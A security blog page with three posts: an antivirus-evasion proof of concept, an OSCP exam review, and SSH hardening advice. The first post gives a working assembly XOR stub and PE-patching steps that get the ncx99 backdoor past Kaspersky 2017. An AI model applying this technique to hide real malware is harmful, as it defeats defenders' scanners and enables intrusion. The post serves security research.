Search This Blog

Sunday, 6 August 2017

Bypassing Kaspersky 2017 AV by XOR encoding known malware with a twist


One thing that I haven't had a really good look at, coming from a non-pentesting background, is how to avoid anti-virus scanners; so here is my first serious dive into it.

I suspect to most this isn't anything new to experienced testers. Given the limitations of even “smart” anti-virus products, this type of issue is expected and will not be limited to any one AV vendor.

Nevertheless, I was curious to find out how easy it is to out-smart an intelligent scanner in order to get known malware past the scanner. Short answer; surprisingly easy.

The setup is a Windows Vista and Windows 8.1 VM running Kaspersky Anti-Virus 2017 with updates applied. The scanner was set to High (max protection), Heuristic Analysis set to Deep scan, and the iSwift and iChecker Technology enabled.

The malware is the venerable ncx99.exe. Others have tried xor encoders and many other variants to bypass the scanner, without success. So I thought I would take a different approach to find something missing from the emulator used to get malware to unpack and expose itself; finding that glitch in the Matrix.

I won't cover basic XOR encoders here; Google is your friend if you wish to know.

Upon starting ncx99.exe in a debugger we notice the following at the program entry point:

EAX 772AD3B7 kernel32.BaseThreadInitThunk
EDX 00404C00 ncx99-or.<ModuleEntryPoint>
ESP 0012FF8C
EBP 0012FF94
EIP 00404C00 ncx99-or.<ModuleEntryPoint>

The top of the stack looks like this:

0012FF8C   772AD3C9  RETURN to kernel32.772AD3C9
0012FF90   7FFD5000
0012FF94  /0012FFD4

It turns out that the delta between ESP and EBP is always the same (at least on my Vista VM; a little more on that later).

So let’s reference the XOR encoder and base address indirectly based on the designed functionality of the stack rather than computing it in the program. This way the emulator needs to already be aware of this relationship; so is it? (I suspect you already know the answer!)

First, I modify the PE Header in the file to point to a new code cave:

I created a new section with a base address of 0x13000 and size 0x1000. The exe is increased with null bytes by 0x1000 to accommodate this section. I then modify the Program Entry Point from 0x404c00 (in .text) to 0x413000 (in the new section) and ensure that .text is writeable.

Back in the debugger I then create the following stub and save a new copy of the executable with these changes:

00413000 > 60               PUSHAD
00413001   9C               PUSHFD
00413002   BB EA7ACE39      MOV EBX,39CE7AEA              # XOR key
00413007   53               PUSH EBX
00413008   BB 00104000      MOV EBX,ncx99-ne.00401000     # Base addr for xor
0041300D   53               PUSH EBX
0041300E   8B45 D0          MOV EAX,DWORD PTR SS:[EBP-30] # get xor key
00413011   8B55 CC          MOV EDX,DWORD PTR SS:[EBP-34] # get base addr
00413014   83EA 04          SUB EDX,4
00413017   83C2 04          ADD EDX,4
0041301A   3102             XOR DWORD PTR DS:[EDX],EAX    # enc/dec dword
0041301C   83C2 05          ADD EDX,5
0041301F   4A               DEC EDX
00413020   81FA 6CA74000    CMP EDX,ncx99-ne.0040A76C     # loc of last dword
00413026  ^7E F2            JLE SHORT ncx99-ne.0041301A
00413028   58               POP EAX
00413029   58               POP EAX
0041302A   9D               POPFD
0041302B   61               POPAD
0041302C  -E9 CF1BFFFF      JMP ncx99-ne.00404C00         # Execute orig code

The key trick is that we are pushing the key and base address on the stack at 00413007 and 0041300D, but then referencing them using EBP at 0041300E and 00413011 (without ever referencing or setting EBP beforehand; we just know it gets set up like this by the OS).

So in the case of Vista, we have 8 bytes followed by 32 bytes from the pushad and 4 bytes from the pushfd; total 44 bytes (0x2C). So adding a dword to the stack gives an offset from EBP of 0x30 and a further dword gives 0x34.

Next, we do the usual break on 00413028 (just after the encoder) and run the program to encode .text. We then save the changes made between 00401000 and 0040A76C (we are working on DWORDs). This new file, when run, will decode .text and then run the decoded contents.

Passing through the AV shows no issues. Running it creates a listener on 99/tcp which we can connect to in order to get full system access. Success.


 Next, I thought I would test the ability of the AV to figure out known offsets. So rather than the non-explicit connection between ESP and EBP, lets rewrite it to see if the emulator is stack-aware.

I change the EBP offsets to the following; correcting the stub offsets accordingly:

0041300E   8B4424 04        MOV EAX,DWORD PTR SS:[ESP+4]
00413012   8B1424           MOV EDX,DWORD PTR SS:[ESP]

This time the AV detects that it is ncx99; so it looks like the emulator in the AV is stack aware.


Finally, I decided to test the approach on Windows 8.1. In this case the stack is a bit different on entry, but the delta is still consistent across reboots.

ESP 0013FF84
EBP 0013FF94

0013FF84   76444198  RETURN to KERNEL32.76444198
0013FF88   7FFDF000
0013FF8C   76444170  KERNEL32.BaseThreadInitThunk
0013FF90   F5EE812D
0013FF94  /0013FFDC

A simple adjustment to the relative offsets from EBP yields success:

0041300E   8B45 C8          MOV EAX,DWORD PTR SS:[EBP-38]
00413011   8B55 C4          MOV EDX,DWORD PTR SS:[EBP-3C]

i.e. a functional malware that is known to the AV product but not detected by it.

This code can probably be simplified (some null actions, etc, from previous tweaks) and made version agnostic; but I will leave that as an exercise for the reader as this was only meant to be a PoC.

I also tried this technique (but using some spare space at the end of the .text section) on some other programs including netpass.exe and all became undetectable by the AV file scanner. Yey.

The take for me is that signature based detection is good for low-hanging fruit; stuff that is already known or similar. However, once you start customising stuff it can rapidly lose its effectiveness. Sometimes that customisation may only need to be a simple tweak, as in this example.

Update: Uploaded to virustotal and now detection is slowly growing; though a few major vendors including Kaspersky still don't detect it. You can see the sample here

Wednesday, 31 May 2017

E9 3E 50 4F 53: What comes in red pills and is highly addictive?



Since passing my OSCP exam a few weeks ago I've been debating whether to add to the vastness of reviews on the PWK course and OSCP exam. It, however, feels like a right of passage; so here goes.

What is the PWK course, I hear you ask. To quote from Offensive Security's website:

Penetration Testing with Kali (PWK) is a self-paced online pen testing course designed for network administrators and security professionals who want to take a serious and meaningful step into the world of professional penetration testing.”

It is marketed as an foundational course. Whilst this is correct in the grand scheme of things, don't let this fool you. It isn't “foundational” like many other courses with such branding; it is a course that will ensure you really understand and can effectively use the tools, techniques and theory that you are taught. This includes research and thinking creatively to work round problems.

Why did I do it?

There are two reasons.

First, I had heard of the course, many others in the community raving about how good it is, and that people were saying it was awesome. When someone states something is awesome you may be inclined to think they are over-rating a course that they enjoyed; but when so many people in the community, some of which I know, were telling similar stories; well that is a pattern that cannot be ignored.

Second, a more practical reason. Since I've left my job at a well known global telco I wanted to switch from a core infrastructure troubleshooter of last resort to a full time pen tester / security researcher. Whilst I had several SANS certifications such as GXPN, GPEN, etc, recruiters and companies in the UK were not particularly interested in them, but instead OSCP and CREST. CREST was very expensive. As I'm self funded with no income, both this and the reviews of OSCP meant OSCP was the way to go.

What do you get?

In addition to the expected course PDF and lots of video, you get access to what is probably the biggest plus for the course; access to a lab with in excess of 50 hosts across a number of networks. This lab has a whole range of challenges, from different operating systems to applications, designed to practice everything the course aims to teach you. There are rumours that a Solaris box lurks in the shadows.

Think of the PDF course as a solid and well-written step-by-step guide and the lab as the “now you know the principles, go pwn all the boxes”.

You can book lab time in 30, 60 or 90 day blocks. Each comes with an exam attempt.

The PDF has a number of exercises for you to do. Some are independent of the labs, some aren't. When it comes to the labs you are not given that much help (unless you really need it); it is a case of you need to figure out where and what is the vulnerability and how to exploit it; just like in real life.

If after, to quote their catchphrase you have “Tried Harder” but still need help, the OffSec admins will give you hints if asked. The forums, where other students can be found, will give you more obvious hints. Though the admins will edit out any “spoilers” that a student may inadvertently add. You won't get the answer; that is for you to figure out. After all, if you want to be a penetration tester, this is a key attribute you need to have.

In the exam though; you will get no hints.

When doing the exercises and the labs it is good to document them. If you document all of the required exercises and ten lab boxes in a penetration test report (there is a template), you can potentially get an extra five bonus points for each towards the exam mark for a total of ten bonus points.

I would strongly recommend you write this report, and before your exam. You don't want to be worrying about that as well during the report writing phase of the exam.

The Exam

The OSCP exam consists of a 23 hour 45 minute block of time to achieve a number of objectives within the exam network; which includes obtaining the proof.txt file in a shell for a number of targets (with evidence and recording of this in the appropriate form) proving you have admin rights. There can be other objectives for the targets such as a local.txt for an unprivileged shell.

You then have a further 24 hours to write the report and submit it in the required format (mandatory); along with the lab and exercise report (optional; which you did prior to the exam, didn't you).

All this is documented on the Offsec website; details of what I had in my exam (specifics) are under an NDA. See the exam guide for more info.

When am I ready for the exam?

OffSec are deliberately non-prescriptive on this since “it depends”.

They do recommend that you should get all the lab boxes except the “big three” of pain, sufferance and humble; at which point you should have the minimum necessary for the exam, but that is no guarantee. My view is that if you get all the main lab boxes and complete the exercises in the PDF you have covered all the key areas so should have the skills necessary, but; see my hints and tips later.

For me, I came from a non-pentesting role, despite my SANS certs. My expectation was that networks and systems level stuff would be relatively easier than the web app stuff, since it is in the infrastructure level stuff that my previous experience is at. Most of my application level experience  involved the services rather than the apps (e.g. Java JVM analysis/tuning). Also, in my day job I had all the keys to start with so would need to improve that “black box” approach to systems.

The result, some web app targets I would initially spend a couple of days to root whereas pain and sufferance were straightforward (privilege escalation including the recon was less than 15 minutes on one of them).

So I guess what I'm trying to say is that we all have different backgrounds and experiences. Something that is easy for some of us will be hard for others and visa-versa. Find your weaknesses and focus on those but don't neglect any area. Use the course PDF and labs as a guide to assess and practice those skills.

What did I do?

I took the 90-day lab option. I also took a couple of weeks off about half way through to recharge; you cannot “pause” the lab time but I felt a gap was important.

Once I had all of the labs boxes bar a small number I booked the exam for a months time. This meant the exam was a few days prior to the end of the lab. I figured if I failed the exam I could then extend the lab without interruption. Others may take a different approach.

I then spent the first two weeks writing the lab and exercise report for the bonus points; including re-testing the approach in the lab from a clean target to ensure a reliable exploit and that the process documented was correct. In some cases I simplified the approach as my initial success was more convoluted than needed.

After that, up to the exam, I used the lab time to finish off the lab boxes I hadn't got (or had only got via Metasploit) and then redid between 3 and 6 per day without looking at the machine specific notes I had. This gave me a lot more confidence heading into the exam; especially when I was finding other ways in and doing all in a good time (sufficient that if they were exam boxes I would have passed).

In the UK it looks like the earliest exam time you can book is at 10:00 (BST), so I went for that.

So, exam day comes after a reasonable sleep the night before. I get up and have a few hours before it starts, I try to take things easy and not rush anything; chill out as best I can.

10:00 the exam starts and the emails duly arrive from OffSec. I set up the VPN, connect and read the exam objectives I have been given. Each objective has a points value and you need a total of 70 out of 100 to pass (did I mention there are potentially 10 further bonus points for the lab / exercise report).

I notice one of the high value objectives is a very strong area for me but may take a bit of time, so for the next two hours I focus on that one whilst performing some background recon on the others.

Once that is in the bag I go for lunch, during which time the first problem occurs. A power blackout!!! Arrrrgh. I shall not quote the words that came out of my mouth.

Fortunately this only lasted just over five minutes, which meant my UPS was able to handle the issue (the perils living in a rural location). Time to get my blood pressure back under control and relax for the rest of my lunch.

I then spend the next hour and a bit on a low value target and getting a low priv shell on another. Time for another rest.

It is another 4.5 hours before I get my next success. Cycling through the remaining targets doing a bit of analysis until I feel I'm not making progress and moving on; then I suddenly spot the way to escalate privs on the one with the low priv shell. Yey; I am root. Time for dinner.

Back from dinner it is then not until 21:01 that I get low priv on my next target. Hint. If you think that you have tried something and it should have worked, retry it very carefully. You may find that you could have avoided wasting some precious time.

21:19 and I now have root. Yey. Time to take another rest.

I now have the final target that has been teasing me for most of the exam. However, I can now focus on this one; exclusively.

02:21 and I get low-priv. My mistake - OSCP is a foundational course so you appreciate that the solutions are easy (once you know how); this doesn't mean that if something appears complicated it is.

Then 03:04 I finally get root on the last box. Final root dance.

It ain't over yet.

Whilst I still have access to the exam network, I review all the objectives and make sure I have met them, submitted my proofs and have all the information I need for the report. Circa 03:30 I can now finally make a direct b-line for the bed and don't need to worry if I over-sleep.

The next day, or should that be later that day, I get up knowing that I now need to write the report; as no report = no pass.

As I've already written the lab and exercise report I only need to do the same for the exam objectives. I can afford to take my time and not rush things. Once written I can re-read it then update until I'm happy that it is up to an acceptable standard for submission.

I submit the report later that day and get confirmation from OffSec at 17:48 they have received it. At 19:47 the following day I get the results.

“We are happy to inform you that you have successfully completed the Penetration Testing with Kali Linux certification exam and have obtained your Offensive Security Certified Professional (OSCP) certification.”

Nice :D

Hints and Tips

      Read the other reviews out there. Collectively they paint a good picture about what to expect from the course and exam and hopefully you'll find at least one that is a good match for your background and learning method.
      Remember this is a foundational course; so the “way in” is going to be straightforward. You still need to find it, but don't need to write a 0day or anything close to that.
      If you are writing a 0day or similar it is probably a rabbit hole.
      Don't over-think things.
      If it is too obvious to be the way-in; it might be the way in.
      Whilst not required to take the exam, getting all the lab boxes except the “big three” is a good measure as to whether you are ready; though there are no guarantees.
      Did I mention there are bonus points for the lab / exercise report. Writing this before the exam removes the pressure of being just short of passing and having to write that report in addition to the exam report in the 24 hour report period you have.
      If you need to seek out help to get a lab box, figure out how you could have done things differently so as to avoid needing that help. Avoid if possible being too specific for that particular target. Remember; there are no hints on the exam.
      Document everything; a searchable reference other than Google may come in handy.
      Take regular breaks. Aim to spend no more than two hours at a time on the computer. You need to recharge, rest, relax to aid in concentration. This is a 24 hour exam after all.
      Plan meals, etc beforehand so you only have to think about the exam on the exam day.
      Try not to panic or stress out. If you are stuck or struggling take a time-out or move on to another target and re-visit that one at a later date. That distraction can lead to a eureka moment or allow you to re-focus on that problem when you return to it.
      Read g0tmi1k's article for 'alpha' on the PWK forum (contains spoilers; so perhaps not straight away but certainly before the exam). Focus more on the strategy and approach he uses and think about how you can apply that to the other lab boxes and the exam boxes.
      If you don't pass the first time don't give up. Know that many people have been there before, have come so close, but not let this stop them. If you feel like it, blog about it and how you dealt with it. This is something missing from most reviews that several people have stated would have helped.
      …. and finally; beware, penetration testing comes in red pills and is highly addictive.

Conclusion

I can safely say that the PWK course and even the OSCP exam were some of the most enjoyable I've experienced (how often can you say you have thoroughly enjoyed an exam?).

What I especially like is that it is designed to get you to think for yourself. The exam tests this; and in my view is vastly more valuable than an exam that tests whether you can remember the exact switch or option to a command that you would normally just look up if you didn't know.

Next Steps

Well, I was thinking covfefe ….. er CTP/OSCE. I got bored waiting for the PWK course to start so had a go at the pre-registration challenge and liked it. I start in a few days.

Tuesday, 6 September 2016

Linux Ransomware and SSH



I recently came across this article on the FAIRWARE ransomware attacking Linux servers by brute forcing SSH according to the referenced article here. I thought why in this day-and-age is brute forcing SSH from the Internet working? Surely we are not exposing SSH administrative interfaces to the big bad Internet, let alone in an insecure way (rhetorical)?

So, whilst by no means a complete How-To, I thought I would go through a few areas that I hope may improve the security of systems running SSH. Though, as we all know, what you actually do depends on your risk appetite among other things.

In summary this is really about defence in depth. Not only make good security decisions, but also don't rely on a few. My view is if there is a shortcoming, no matter how minor, deal with it (assess it, then either fix it or accept the risk (with possible mitigations)).

For SSH, in no particular order.

1. Don't bind to all interfaces and certainly not your Internet facing one

In today's world of virtualisation, there really should be no excuse for not re-configuring a management service such as SSH to only listen on a management interface. Such a management network must not be directly accessible via the Internet; you should need to go via a VPN, Citrix or other strong security gate as a minimum to access such a network.

If your management services are only listening on your management interface, then even if your firewalls, or other Internet facing protections are breached, it is still going to be a bit of a challenge for an adversary to get shell access via that service.

This can be achieved using the Listen directive in sshd_config.

2. Never, ever, allow direct privileged logons

Being able to directly SSH (login) as root or a privileged user is just asking for trouble. Would you build a safe so that the door was accessible via an outside wall that the public walk past? I hope not; so should we really be doing the same thing with our servers holding our sensitive information assets?

The easiest way to prevent this is to only permit normal users (typically having a common group). i.e. we whitelist accounts rather than blacklist, so if a new account is created it needs to be assessed first.

PermitRootLogin should always be set to no, but we also need to take account of other 'unprivileged' users that may be applications (thus have access to or “own” potentially sensitive information) and users with enhanced 'root' rights (such as having capabilities in Linux, or via sudo).

3. Multi-factor authentication

It is always a good idea to examine a technology to fully understand what it can do. So, in this case, even if you don't have true multi-factor authentication, you would have spotted the RequiredAuthentications or AuthenticationMethods directive in SSH, which states what methods must succeed to allow access.

So the following on CentOS 7 requires both a publickey and a password to successfully log on (or more precisely the use of the associated private key on the client where the public key is configured on the user's account on the server).

AuthenticationMethods publickey,password

So, even if the public key does not have a paraphrase, we have the following, showing the public key authentication is not sufficient; you also need the account password.

$ ssh -x localhost
Authenticated with partial success.
auser@localhost's password:
Last login: Tue Sep  6 10:59:49 2016
$

I hope you would agree, even brute forcing that “poor-man's 2FA” is a bit more challenging.

4. Bar tunnelling over SSH

A tunnel allows you to tunnel any connection in any direction, via the SSH connection. Indeed the man page describes how to set up a VPN as well! This allows trivial bypass of firewalls and other security devices, by using the trusted encrypted SSH connection.

Unless you have very specific requirements, which are documented and limited by the configuration such as PermitOpen or the use of a directive in a cert, disable SSH tunnelling via PermitTunnel no. Don't forget the tap devices, if supported.

Even if you have a captive client, the user can press ~C to open an SSH “command line” to dynamically add a tunnel. So, if it isn't disabled at the server side a user can still add it in a captive setup. See the man page on ssh.

5. Require strong MACs and Ciphers

If both the client and server supports it, shouldn't we actively prevent the use of weak MACs and Ciphers?

The default configuration on CentOS 7 allows MD5 and SHA1 as MACs. It also allows sha2-256, sha2-512. Perhaps we should specify only the strongest subset and thus put a mandatory bar on MD5 and SHA1, for example.

6. Use only SSH version 2

Fortunately most modern configurations only enable version 2 (Protocol 2). Protocol version 1 has known design flaws, so should not be used. See an example from CERT here.

7. Client side

Don't forget the client side configuration as well.

If a client also only allows strong MACs and Ciphers, for example, and you suddenly can no longer access a host due to cipher support, does this suggest a problem? Certainly worth investigation.

More

This is just a small sample of the options open to you. There are many other configuration options for example, including Match statements for finer-grain configuration, adding options in the authorized_keys file, client IP lockdown, and SELinux tweaks, to name a few.

Oh, and monitoring. An unmonitored log is a useless log.

What would be your top recommendations?